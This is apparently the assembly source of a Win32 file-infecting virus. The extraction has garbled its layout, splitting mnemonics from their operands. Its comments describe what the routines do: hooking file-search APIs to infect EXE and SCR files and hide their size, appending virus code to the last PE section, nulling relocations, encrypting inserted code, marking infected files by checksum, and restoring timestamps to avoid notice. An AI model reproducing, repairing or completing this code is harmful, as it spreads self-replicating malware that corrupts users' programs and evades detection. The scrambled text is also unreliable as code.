cmp ebx,edi jc next2_ff xor al,al eop_ff: stosb ;force null to split path from filename mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next entry in pathnamez table call get_handle_ofs_0 ;get new free entry in handlez table jc go_ret_2Pshd mov eax,[esp.Pushad_eax] ;get handle returned by findfirst stosd ;store handle into handlez table xchg eax,ebx stosd ;store pointer to asociated pathname into handlez table as well mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in handlez table xchg esi,eax jmp FindCommon go_ret_2Pshd: popad ret ;return to caller (2*Pshd) ;new findnext API handler.. infect files, stealth (unicode version) al,? $ - 1 ;clear carry (unicode version)

NewFindNextFileW: test org NewFindNextFileA: stc call pushad call to handle jc mov FindCommon: lea @copysz dec mov or lea jnz call call call jnz test jnz div dec jns call jmp mov call pushad call jc lea

;new findnextt API handler.. infect files, stealth (ansi version) ;set carry (ansi version) ;call old findnext API ;get correct entry in handlez table acordin

APICall@n_2

get_handle_ofs_ebp go_ret_2Pshd esi,[edi + 4]

;get respective pathname

edi,[ebp + PathName - ebp_num] ;copy pathname to respective buffer edi ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode esi,[ebx.WFD_szFileName] ;get filename its_ansi_fc Uni2Ansi ;its unicode, convert to ansi and atach filename to Process_File3 ;try to infect file get_size ;get file size go_ret_2Pshd [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB? go_ret_2Pshd ;yea, file too large, jump ecx edx go_ret_2Pshd ;if not infected, jump, stealth not necesary check_PE_file ;file is infected, do size stealth go_ret_2Pshd cl,1 APICall@n

pathname its_ansi_fc:

NewFindCloseX:

;call old findclose API ;get correct entry in handlez table acordin

get_handle_ofs_ebp go_ret_Pshd esi,[edi + 4]

to handle

mov lodsd sub pushad xchg mov mov @endsz sub mov rep mov table popad shr jz movsd lodsd sub stosd loop mov popad ret proc

ecx,[ebp + pHandlez - ebp_num] ecx,esi esi,eax ecx,[ebp + pPathNamez - ebp_num] edi,esi ecx,esi [esp.Pushad_ebx],ecx movsb [ebp + pPathNamez - ebp_num],edi ;remove pathname entry

;update pointer to handlez

ecx,3 setH_fc

;remove handle entry

FixpPathNamez:

eax,ebx FixpPathNamez [ebp + pHandlez - ebp_num],edi

setH_fc: table go_ret_Pshd:

;update pointer to pathnamez

(Pshd) ;open and map file in read only mode ; on entry: ; ESI = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok edi,edi ;open and map file in read/write mode ; on entry: ; EDI = file size + work space (in bytes) ; ESI = pszFileName (pointer to file name) ; on exit: ; ECX = 0, if error ; ECX = base adress of memory-maped file, if ok ; EDI = old file size

Open&MapFile

xor Open&MapFileAdj:

xor push push push push mov push ror mov jecxz rcr push push call cdq xor inc jz dec

eax,eax eax ;0 eax ;FILE_ATTRIBUTE_NORMAL OPEN_EXISTING eax ;NULL al,1 eax ;FILE_SHARE_READ eax,1 ;GENERIC_READ ecx,edi $ + 4 eax,1 ;GENERIC_READ + GENERIC_WRITE eax esi ;pszFileName [ebp + ddCreateFileA - ebp_num] ;open file esi,esi eax end_Open&MapFile eax

;if error, jump

push push push push mov mov jecxz shl push push push call cdq xchg jecxz push push push push mov test .if shr mov .endif push push call xchg jecxz push jmp the stack Open&MapFile endp

eax

;push first handle

edx ;NULL edi ;file size + buffer size edx ;0 dl,PAGE_READONLY ecx,edi $ + 4 dl,1 ;PAGE_READWRITE edx esi ;NULL eax ;handle [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping ecx,eax end_Open&MapFile2 ecx

;if error, close handle and jump ;push second handle

edi ;file size + buffer size edx ;0 edx ;0 dl,FILE_MAP_READ edi,edi !zero? dl,1 ;FILE_MAP_WRITE edi,[ebx.WFD_nFileSizeLow] edx ecx ;handle [ebp + ddMapViewOfFile - ebp_num] ;map view of file ecx,eax end_Open&MapFile3 ecx ;push base adress of memory-maped file [esp.(3*Pshd).RetAddr] ;jump to return adress leavin parameterz in

Close&UnmapFile proc xor Close&UnmapFileAdj: pop call end_Open&MapFile3: call mov jecxz pop push push xor push push push push xchg call

;close and unmap file previosly opened in read only mode edi,edi ;close and unmap file previosly opened in read/write mode [esp.(4*Pshd).RetAddr - Pshd] [ebp + ddUnmapViewOfFile - ebp_num]

;unmap view of file

[ebp + ddCloseHandle - ebp_num] ;close handle ecx,edi end_Open&MapFile2 ;if read-only mode, jump eax eax eax esi,esi esi esi edi eax edi,eax [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the

real end of file call of file lea push push push push call field end_Open&MapFile2: call end_Open&MapFile: xor ret Close&UnmapFile endp get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal ; variablez correctly and also converts unicode ; strings to ansi (for unicode version APIz only). ;this function is only useful at the resident stage. ;on entry: ; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name ;on exit: ; ECX = 0, if error ;get source pointer to specified file name ;get actual EBP ;get target pointer to internal buffer ecx,ecx [ebp + ddCloseHandle - ebp_num] ;close handle eax,[ebx.WFD_ftLastWriteTime] eax esi esi edi [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp [ebp + ddSetEndOfFile - ebp_num] ;truncate file at real end

mov call lea jc Uni2Ansi:

esi,[esp.(Pshd).cPushad.Arg1] get_ebp2 edi,[ebp + PathName - ebp_num] ansiok

;this function converts an ansi string to a unicode string ;on entry: ; ESI = pointer to specified file name ;on exit: ; ECX = 0, if error eax,eax eax eax MAX_PATH edi -1 esi eax eax [ebp + ddWideCharToMultiByte - ebp_num] esi,edi ecx,eax

xor push push push push push push push push call mov ansiok: xchg cld ret Rva2Raw proc

;NULL ;NULL ;target pointer ;source pointer ;CP_ACP

;this function converts RVA valuez to RAW pointerz inside PE ; filez. This function is specialy useful for memory-maped ; filez. ;given a RVA value, this function returns the start adress ; and size of the section containin it, plus its relative ; delta value inside the section.

;on entry: ; EAX = RVA value ; EBP = start of memory-maped file (MZ header) ; ESI = start of PE header + 3Ch ;on exit: ; EBP = RAW size of section ; EBX = RAW start of section ; ECX = 0, if not found ; start of respective section header (+ section header ; size), if found ; EDX = RVA start of section ; ESI = relative delta of RVA value inside section. movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] end_Rva2Raw ebx,word ptr [esi.NT_FileHeader \ ;get first section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] IMAGE_SIZEOF_SECTION_HEADER ;scan each PE section header and determine if specified RVA ;value points inside esi,eax edx,[ebx.SH_VirtualAddress] esi,edx ebx,-x esi,[ebx.SH_VirtualSize - x] section_found match_virtual

jecxz movzx

lea x = match_virtual:

mov mov sub sub cmp jb loop end_Rva2Raw: ret Rva2Raw endp

;is RVA value pointin inside current section? ;yea we found the section, jump ;nope, get next section

get_handle_ofs_ebp:

;this function sets EBP register to reference internal ; variablez correctly and also given a handle, it gets ; a pointer to an entry in the handlez table. ;this function is only useful at the resident stage. ;on entry: ; TOS+28h (Pshd.cPushad.Arg1): specified handle ;on exit: ; EDI = pointer to entry in handlez table ; Carry clear, if ok ; Carry set, if error ecx,eax end_gho_stc get_ebp2 ecx,[esp.(Pshd).cPushad.Arg1] end_gho_stc eax,ecx ax,? $ - 2

xchg jecxz call mov jecxz xchg cmp org get_handle_ofs_0:

;get handle

;gets a pointer to an empty entry in the handlez table ;this function is only useful at the resident stage. ;on exit:

; ; ; sub

EDI = pointer to entry in handlez table Carry clear, if ok Carry set, if error eax,eax

get_handle_ofs: ;given a handle, this function gets a pointer ; to an entry in the handlez table. ;this function is only useful at the resident stage. ;on entry: ; EAX = specified handle ;on exit: ; EDI = pointer to entry in handlez table ; Carry clear, if ok ; Carry set, if error lea lea next_gho: scasd scasd cmp jc cmp jnz test org end_gho_stc: stc end_gho: ret section_found: x = xchg add xchg mov cld ret get_relocs: IMAGE_SIZEOF_SECTION_HEADER ebp,ebx ebx,[ebp.SH_PointerToRawData - x] ecx,ebp ebp,[ecx.SH_SizeOfRawData - x] edi,[ebp + Handlez - 8 - ebp_num] edx,[edi + nHANDLEZ] ;add edi,8 ; edx,edi ;top of handlez table reached? end_gho ;yea, handle not found, jump eax,[edi] ;do handlez match? next_gho ;no, check next handle, jump al,? ;yea, handle found, clear carry $ - 1 ;set carry

;get RAW start of section ;get RAW size of section

;this comon funtion is called from both instalation and ; infection stage. ;it simply locates each relocation block in the .reloc section ; and calls a function to (a) nulify those dangerous reloca; tionz in a block (infection stage) or (b) to fix the code ; pointed to by such marked relocationz (instalation stage). ;on entry: ; EDI = RVA start pointer to chunk of code ; TOS+04h (Arg1): fix_relocs label function adress (instalation stage) ; or ; nul_relocs label function adress (infection stage) ; TOS+00h (return adress) esi,ebx edx,edi ebp,[ecx+esi] ;get start of relocation section in aplication context ;get end adress of chunk code ;get end of relocation section in aplication context

add add lea

process_reloc_blocks: lodsd xchg lea lodsd x =

ebx,eax ecx,[ebx + 4096]

;get start RVA for this block of relocationz ;get end RVA where relocationz can point in a block ;get size of reloc block IMAGE_SIZEOF_BASE_RELOCATION

add cmp lea push jnc shr cmp jnc xchg jecxz call

eax,-x edi,ecx ecx,[eax + esi] ecx next_reloc_block eax,1 ebx,edx next_reloc_block ecx,eax next_reloc_block [esp.(Pshd).Arg1]

;RVA pointer inside relocation block? (check low boundary) ;get next block adress

;RVA pointer inside relocation block? (check high boundary) ;get number of relocationz for this block

;call fix_relocs function or nul_relocs function

next_reloc_block: pop lea cmp jc ret Process_File3: esi eax,[esi + x] eax,ebp process_reloc_blocks (Pshd) ;get next block adress ;end of relocation blockz? ;no, process the block, jump ;yea, no more relocation blockz, return

;this function copies a filename to an internal buffer ; and checks the extension thru a list of infectable ; extensions (EXE and SCR filez for the moment). If ; the extension matches, the file will be infected. edx,not 0FF202020h ecx,[edi-4] esi,[ebp + Exts - ebp_num] ecx,edx ;upercase mask ;get filename extension ;get pointer to list of extensionz ;convert file extension to upercase

@copysz mov mov lea and next_ext: lodsd dec js and dec xor jnz cmp jnz call end_PF3: ret err_Rva2Raw: popad err_Rva2Raw2: popad ret Attach proc

al end_PF3 eax,edx esi eax,ecx next_ext byte ptr [edi-5],'.' end_PF3 Process_File2

;get extension from list ;no more extensionz? ;convert extension to upercase ;do extensionz match?

;no, get next extension ;yes, extensionz match, infect file

;needed to unwind the stack from some function

;needed to unwind the stack from some function

;attach virus code to last section in the PE file and ; change section characteristicz to reflect infection. ;on entry: ; ECX = base of memory-maped file ; EDI = original file size ;on exit: ; EDI = new file size

lea mov add mov

esi,[ecx.MZ_lfanew] eax,[ebp + pcode_start - ebp_num] esi,[esi] edx,[esi.NT_OptionalHeader \ .OH_ImageBase \ -MZ_lfanew]

;get base of PE header + 3Ch ;get start adress of virus code ;get built-in image base

pushad xor x = sub mul

add

jc lea mov mov dec dec or cmp jnc add inc jnz mov mov add add sub ;at this point: ; ; cPushad.EAX = ; cPushad.EBX = ; EBP = ; EAX = ; EDX = ; EDI = ; ECX = ; EBX = ; ; ESI = pushad mov

;save valuez to stack eax,eax IMAGE_SIZEOF_SECTION_HEADER al,-x byte ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] ax,word ptr [esi.NT_FileHeader \ ;get first section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] err_Rva2Raw2 ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax] eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew] eax edx eax,edx ;check SectionAlignment and FileAlignment fieldz eax,10000h err_Rva2Raw2 ;too large? edi,ecx ;get end of file in MM-file al err_Rva2Raw2 eax,[ebx.SH_VirtualAddress - x] ebp,ecx ;get MM-file base address eax,edi ecx,[ebx.SH_PointerToRawData - x] eax,ecx ;get new RVA entry point

source adress of code to copy (start at encrypted stringz) embedded (in PE header) host base address start of MM-file. Base address of MM-file new RVA entry point (start of virus code RVA) file alignment - 1 target adress where code will be copied to in the MM-File start adress of last section in the MM-file start adress of last section header (plus section header size) in the MM-file start of PE header (+ 3Ch) in the MM-file

eax,[esi.NT_OptionalHeader \ .OH_AddressOfEntryPoint \ -MZ_lfanew]

;get current entry point

;on entry: ; ; EAX = Host EntryPoint RVA ; EBP = start of MZ header (start of MM-file) ; ESI = start of PE header + 3Ch (in MM-file) call Rva2Raw ;find true code section (clue: EntryPoint RVA points inside)

;on exit: ; ; EBP = raw size of CODE section

; ; ; ; ;

EBX = raw start of CODE section ECX = 0, if not found start of CODE section header (+ section header size), if found EDX = start of CODE section RVA ESI = relative delta of RVA inside CODE section. jecxz pushad mov mov x = or err_Rva2Raw ;code section not found, invalid EntryPoint

ebp,esp edx,[ebp.(2*cPushad).Pushad_ebp] ;get original ebp IMAGE_SIZEOF_SECTION_HEADER byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h ;set exec bit to section

exec_set: mov xor jz esi,[edx + ImportHdr - ebp_num] ;get import section header ecx,esi ;is import table inside code section? IT_in_Code ;yea, jump

;import table NOT inside code section (i.e. probably exists an .idata section) or IT_in_Code: byte ptr [esi.SH_Characteristics.hiw.hib - x],80h ;set writable bit

;import table is inside code section (stupid microsoft) ;no need to set the writable bit (the exec bit does the job) ecx,ecx edi cl,5 eax,0B2FD26A3h dword ptr $ - 4 edi,ecx edi eax,ecx al,- 0e9h + 5

sub push mov sub sub_1st_val = add stosd push mov stosw sub stosb mov sub sub stosd xor pop stosw mov nulify_relocs: push lodsw cwde pushad mov mov

;need this value l8r, push it

;add edi,5

;ax = 5 ;al = E9h

eax,[ebp.cPushad.Pushad_eax] ;get RVA start of virus code eax,[ebp.Pushad_eax] eax,ecx ;sub eax,5 eax,eax esi ;0 edi,[ebp.Pushad_eax] ;nulify relocs that could overwrite our inserted chunks of code.. edi

jecxz push push mov

esi,[ebp.cPushad.Pushad_esi] ;get PE header (+ 3Ch) ecx,[esi.NT_OptionalHeader \ ;get size of relocation blockz .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_Size \ -MZ_lfanew] go_popad ;no relocationz, jump eax ;save size of this chunk of code temporarily ecx ebp,[ebp.cPushad.Pushad_ebp] ;get base of MM-file (MZ header)

mov

call pop pop jecxz xchg call nul_relocs: lodsw cwde ror add jnz shr relocation item lea cmp code.. jnc add cmp jnc next relocation

eax,[esi.NT_OptionalHeader \ ;get RVA start of relocation blockz .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_VirtualAddress \ -MZ_lfanew] Rva2Raw ;convert RVA to a raw offset inside the section eax edx ;retrieve size of this chunk of code temporarily go_popad ecx,eax mark_reloc ;pass nul_relocs as a parameter to get_relocs function

;get relocation item eax,3*4 al,- IMAGE_REL_BASED_HIGHLOW n_next_reloc eax,5*4 eax,[eax + ebx + 4] edi,eax n_next_reloc eax,-4 eax,edx n_next_reloc item

;check relocation type ;not valid, get next relocation item ;strip or blank relocation type field from ;convert relocation pointer to RVA ;check if relocation points to our chunk of ;check low boundary ;check high boundary ;it doesnt point to our chunk of code, get

;this relocation item is pointing inside our chunk of code.. ;nulify and mark it! and n_next_reloc: loop ret mark_reloc: call go_popad: popad xchg add sub pre_crypt: lodsb xchg ror inc xor _xor_2nd_val = mov loop lodsw cwde ;encrypt chunk of code.. [edi],al al,cl edi al,06Ah byte ptr $ - 1 [esi-1],al pre_crypt ;get next chunk of code get_relocs nul_relocs ;get next relocation item byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8) ;nulify relocation!

ecx,eax edi,[ebp.Pushad_ebx] edi,[ebp.Pushad_edx]

;size of this chunk of code ;convert RVA start of chunk of code to a raw value

pop xchg jecxz sub jmp pre_crypt_done: sub pop stosb lea sub stosd mov add mov mov xchg rep sub mov add mov mov popad popad x =

edi ecx,eax pre_crypt_done edi,ecx nulify_relocs

;no more chunkz? ;point EDI to next chunk ;check relocationz, jump

al,-0e8h edi

;build 'call' instruction

eax,[eax + get_base - code_start - 4 - 0e8h + esi] ; eax,edi cx,(v_end - code_start + 3)/4 eax,edi edi,[ebp.cPushad.cPushad.Pushad_eax] edx,[ebp.cPushad.cPushad.Pushad_edx] esi,edi movsd ecx,[ebp.cPushad.Pushad_eax] [ebp.cPushad.Pushad_edi],edi ecx,-5 [eax + old_base - get_base],edx [eax + delta_host - get_base],ecx

;get start of virus code ;get embedded base ;copy virus code

;hardcode some valuez..

IMAGE_SIZEOF_SECTION_HEADER

sub edi,ecx ;change characteristicz of last section in the PE header.. lea ecx,[edx + edi] xchg edx,eax inc eax cdq ;edx=0 xchg ecx,eax div ecx ;calculate new size of last section mul ecx xchg eax,edi mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew] sub eax,v_end - virtual_end cmp [ebx.SH_VirtualSize - x],eax ;calculate new virtual size of last section jnc n_vir mov [ebx.SH_VirtualSize - x],eax n_vir: dec eax mov [ebx.SH_SizeOfRawData - x],edi ;update size of last section add eax,ecx div ecx mul ecx pop ebp ;get original file size add eax,[ebx.SH_VirtualAddress - x] cmp [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax ;update size of image field in the PE header jnc n_img mov [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax n_img: add edi,[ebx.SH_PointerToRawData - x] sub ecx,ecx or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0C0h ;change section flagz push ebp mov eax,[esi.NT_OptionalHeader.OH_CheckSum - MZ_lfanew] ;calculate special checksum to mark infected filez xor ebp,eax add al,-2Dh

xor not xor shl xor shr shld mov pop mov cmp .if xchg .endif sub div mul push end_Attach: popad needed_ret: ret Attach endp

ebp,0B2FD26A3h xor 0D4000000h al al,ah ebp,6 al,byte ptr [esi.NT_OptionalHeader.OH_CheckSum.hiw - MZ_lfanew] al,2 eax,ebp,3*8+2 [esi.NT_FileHeader.FH_TimeDateStamp - MZ_lfanew],eax ;store checksum value eax ;get original file size cl,65h eax,edi ;calculate new file size.. carry? edi,eax eax,1 - 65h ecx ecx eax

;use size paddin..

Process_Dir:

;this function receives a pointer to an asciiz string ; containin a path, then it searches filez with an extension ; matchin the list of extensionz, and finaly infects them. ;on entry: ; EDI = pointer to pathname ; EAX = size of pathname eax eax,7Fh needed_ret esi,edi edi,eax al,'\' [edi-1],al Find_Filez ;add '\' to the pathname if not included

dec cmp jnc pushad mov adc cld mov cmp jz stosb Find_Filez: push sub stosd call pop jz dec push Process_File: push lea

;if pathname greater than 7Fh characterz, jump

;find filez in the specified pathname.. edi eax,'\' - '*.*' findfirst edi end_Attach eax eax ;find each file "*.*" in the path ;if error, jump ;save search handle ;a file was found, process it edi esi,[ebx.WFD_szFileName]

;get filename

call Find_Next: pop pop push push push call test jnz Find_Close: call end_Find: end_Process_Dir: popad ret APICall@n_2: APICall@n

Process_File3

;process file, infect it

edi eax eax ebx eax [ebp + ddFindNextFileA - ebp_num] eax,eax Process_File

;find next file ;more filez? ;yea, process it, jump

[ebp + ddFindClose - ebp_num]

;close search

mov proc

cl,2

;call an API and pass two parameterz

;this function calls an API and passes "n" parameterz ; as argumentz ;on entry: ; EAX = API function adress ; ECX = number of paremeterz

pushfd movzx mov push_args: push loop call popfd ret APICall@n endp IGetProcAddressIT: pop push lea push push

edx,cl ecx,edx dword ptr [esp.(2*Pshd) + 4*edx] push_args eax

;push parameter ;call API

edx eax eax,[ebp + vszKernel32 - ebp_num] eax edx ;gets a pointer to an API function from the Import Table ; (the object inspected is in raw form, i.e. memory-maped) ;on entry: ; TOS+08h (Arg2): API function name ; TOS+04h (Arg1): module name ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found

GetProcAddressIT proc

pushad lea esi,[ecx.MZ_lfanew]

mov add mov

jecxz mov

call jecxz push mov mov for l8r use x = Get_DLL_Name: specified

ebp,ecx ;get KERNEL32 module handle esi,[esi] ;get address of PE header + MZ_lfanew ecx,[esi.NT_OptionalHeader \ ;get size of import directory .OH_DirectoryEntries \ .DE_Import \ .DD_Size \ -MZ_lfanew] End_GetProcAddressIT2 ;if size is zero, no API imported! eax,[esi.NT_OptionalHeader \ ;get address of Import directory .OH_DirectoryEntries \ .DE_Import \ .DD_VirtualAddress \ -MZ_lfanew] Rva2Raw ;find size and raw start of import section End_GetProcAddressIT esi eax,[esp.(Pshd).Pushad_ebp] [eax + ImportHdr - ebp_num],ecx ;save raw adress of import section header IMAGE_SIZEOF_IMPORT_DESCRIPTOR ;scan each import descriptor inside import section to match module name

pop esi and start of import section mov ecx,[ebx.esi.ID_Name] End_GetProcAddressIT2: jecxz sub cmp jae sub push lea mov

;diference (if any) between start of import table ;get RVA pointer to imported module name

End_GetProcAddressIT ;end of import descriptorz? ecx,edx ;convert RVA pointer to RAW ecx,ebp ;check if it points inside section End_GetProcAddressIT esi,-x esi ;save next import descriptor for later retrieval esi,[ebx + ecx] edi,[esp.(Pshd).cPushad.Arg1] ;get module name specified from Arg1 ;do a char by char comparison with module name found inside seccion ;stop when a NULL or a dot '.' is found

Next_char_from_DLL: lodsb add jz sub cmp jae add no_up: sub IT_nup: scasb jnz cmp jnz

al,-'.' IT_nup al,-'.'+'a' al, 'z'-'a'+ 1 no_up al,-20h al,-'a'

;its a dot

;convert to upercase

Get_DLL_Name byte ptr [edi-1],0 Next_char_from_DLL

;namez dont match, get next import descriptor

Found_DLL_name: ;we got the import descriptor containin specified module name pop lea add mov later use mov later use esi eax,[edx + esi.ID_ForwarderChain - x] esi,ebx [esp.Pushad_edx],eax ;store pointer to ForwarderChain field for [esp.Pushad_esi],esi ;store pointer to import descriptor for

push dword ptr [esp.cPushad.Arg2] mov eax,[esp.(Pshd).Pushad_ebp] push dword ptr [eax + K32Mod - ebp_num] call GetProcAddressET ;scan export table of specified module handle xchg eax,ecx ;and get function adress of specified API mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the API function adressez are bound in the IAT jecxz End_GetProcAddressIT ;if not found then go, this value cant be zero or the IAT wont be patched push eax call GetProcAddrIAT ;inspect first thunk (which later will be patched by the loader) test eax,eax jnz IAT_found ;if found then jump (save it and go) mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk (which later will hold the original unpatched IAT) jecxz End_GetProcAddressIT ;if not found then go, this value could be zero push eax call GetProcAddrIAT ;inspect original thunk test eax,eax jz IAT_found ;jump if not found sub eax,ecx ;we got the pointer add eax,[esi.ID_FirstThunk - x] ;convert it to RVA db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;i like bizarre thingz =8P org $ - 2 End_GetProcAddressIT: db IAT_found: mov popad ret findfirst: lea push push call end_findfirst: inc cld ret get_size: eax [esp.Pushad_eax],eax (2*Pshd) ;save IAT entry pointer ;jump and unwind parameterz in stack 33h,0C0h ;xor eax,eax ;error, adress not found

;this function is just a wraper to the FindFistFileA API.. ebx,[ebp + FindData - ebp_num] ebx esi [ebp + ddFindFirstFileA - ebp_num]

;args for findfirst ;args for findfirst ;call FindFirstFileA API

;this function retrieves the file size and discards ; huge filez, it also sets some parameterz for l8r use ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ;on exit: ; EAX = file size ; ESI = pointer to filename ; Carry clear: file ok ; Carry set: file too large ecx,ecx byte ptr [ebx.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY get_size_ret ;discard directory entriez

xor test jnz

mov cmp (>4GB) mov lea mov get_size_ret: ret

edx,ecx [ebx.WFD_nFileSizeHigh],edx cl,65h esi,[ebp + PathName - ebp_num] eax,[ebx.WFD_nFileSizeLow]

;discard huge filez, well if any thaat big ;load size padin value ;get pointer to filename ;get file size

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for ; the selected API name. This function works for both ; bound and unbound import descriptorz. This function is ; called from inside GetProcAddressIT. ;on entry: ; EBX = RAW start pointer of import section ; ECX = RVA pointer to IMAGE_THUNK_ARRAY ; EDX = RVA start pointer of import section ; EDI = pointer selected API function name. ; EBP = RAW size of import section ; TOS+04h (Arg1): real address of API function inside selected ; module (in case the descriptor is unbound). ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found push push sub xor cmp jae lea ecx esi ecx,edx eax,eax ecx,ebp IT_not_found esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword: lodsd test jz no_ordinal: sub cmp jb add cmp jmp IT_search: push lea mov IT_next_char: cmpsb jnz esi ;image descriptor contains imports by name esi,[ebx+eax.IBN_Name] ;get API name from import descriptor edi,[esp.(5*Pshd).cPushad.Arg2] ;get API name selected as a parameter ;find requested API from all imported API namez.. ;do APIz match? ;no, continue searchin eax,edx eax,ebp IT_search eax,edx eax,[esp.(2*Pshd).Arg1] IT_found? ;convert dword to a RAW pointer ;dword belongs to an unbound image descriptor? ;no, jump ;yea, we have the API adress itself, reconvert to RVA ;API adressez match? ;yea, we found it, jump ;get dword value ;end of IMAGE_THUNK_DATA array?

eax,eax IT_not_found

IT_new_search

IT_Matched_char: cmp jnz IT_new_search: pop IT_found?: jnz lea sub IT_not_found: pop pop ret GetProcAddressIT check_PE_file: esi ecx (Pshd) ENDP ;this function opens, memory-maps a file and checks ; if its a PE file ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ; ESI = pointer to filename ;on exit: ; ESI = 0, file already infected or not infectable ; ESI != 0, file not infected Open&MapFile end_PE_file eax,[ebx.WFD_nFileSizeLow] eax,-80h Close_File ;open and memory-map the file ;get file size ;file too short? next_thunk_dword eax,[edx+esi-4] ;get the pointer to the new IAT entry eax,ebx ;convert it to RVA esi ;yea, they match, we found it byte ptr [esi-1],0 IT_next_char

call jecxz mov add jnc Check_PE_sign:

;this function checks validity of a PE file. ;on entry: ; ECX = base address of memory-maped file ; EBX = pointer to WIN32_FIND_DATA structure ; EAX = host file size - 80h ;on exit: ; ESI = 0, file already infected or not infectable ; ESI != 0, file not infected word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature Close_File edi,[ecx.MZ_lfanew] ;get ptr to new exe format eax,edi ;ptr out of range? Close_File edi,ecx dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature Close_File word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+ machine IMAGE_FILE_MACHINE_I386 Close_File eax,dword ptr [edi.NT_FileHeader.FH_Characteristics] al ax,IMAGE_FILE_EXECUTABLE_IMAGE or \ ;must have the executable bit but IMAGE_FILE_DLL

cmp jnz mov cmp jb add cmp jnz cmp jnz mov not test cant be a DLL

jnz

Close_File

;at this point, calculate virus checksum to make sure file is really ;infected. If its infected then return original size of host previous ;to infection and store it in the WIN32_FIND_DATA structure (stealth). mov push sub xor mov xor and xor mov inc pop jnz xor xor and cmp jnc mov go_esi: inc Close_File: call end_PE_file: dec ret pop_ebp: pop if lea endif mov cld another_ret: ret Process_File2: ;this function checks the file size, retrieves some key API ; adressez from inside the import table and infects the file. ;on entry: ; EBX = pointer to WIN32_FIND_DATA structure ; ESI = pointer to filename get_size another_ret ;if file size too short, jump eax,4000000h - 10*1024 another_ret ;if file size too large (>64MB), jump ecx ;check infection thru size paddin edx another_ret ;already infected, jump check_PE_file ;open file, check PE signature and close file another_ret ;not valid PE file, jump byte ptr [ebp + uni_or_ansi - ebp_num] ;double-check file esi Close&UnmapFile ;close and unmaps file eax,[edi.NT_OptionalHeader.OH_CheckSum] ;get checksum field eax al,2Dh ;calculate virus checksum to make sure file is really infected ah,al al,[edi.NT_FileHeader.FH_TimeDateStamp.hiw.hib] ah,byte ptr [edi.NT_OptionalHeader.OH_CheckSum.hiw] al,11111100b ah,al [ebp + uni_or_ansi - ebp_num],ah ah eax go_esi eax,0B2FD26A3h xor 68000000h eax,[edi.NT_FileHeader.FH_TimeDateStamp] eax,03FFFFFFh eax,[ebx.WFD_nFileSizeLow] go_esi [ebx.WFD_nFileSizeLow],eax ;return original file size esi ;set "already infected" mark

;get the ebp_num value needed to access variablez thru EBP ebp (ebp_num - m_ebp) ebp,[ebp + ebp_num - m_ebp] [ebp + uni_or_ansi - ebp_num],al

call jnz cmp jnc div dec js call jnz inc

jz Bless:

another_ret

;discard if infected

;this function prepares the host file for infection: blank file ; atributez, open and map file in r/w mode, retrieves RVA pointerz ; to GetModuleHandleA, GetModuleHandleW and GetProcAddress, call ; the "Attach" function to infect the file and finaly restore ; date/time stamp and attributez esi esi,[ebp + PathName - ebp_num] ;get pointer to filename esi [ebp + ddSetFileAttributesA - ebp_num] ;blank file atributez ecx,eax another_ret ;if error, jump, if disk is write-protected for example esi edi,virtual_end - code_start ;calculate buffer size needed for infection edi,[ebx.WFD_nFileSizeLow] ;add to original size Open&MapFileAdj ;open and map file in read/write mode end_Bless2 ;if any error, if file is locked for

push lea push call xchg jecxz push mov add call jecxz example, jump

lea eax,[ebp + vszGetModuleHandleA - ebp_num] call IGetProcAddressIT ;get RVA pointer to GetModuleHandleA API in the import table test esi,esi jz end_Bless3 ;if KERNEL32 import descriptor not found, dont infect x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

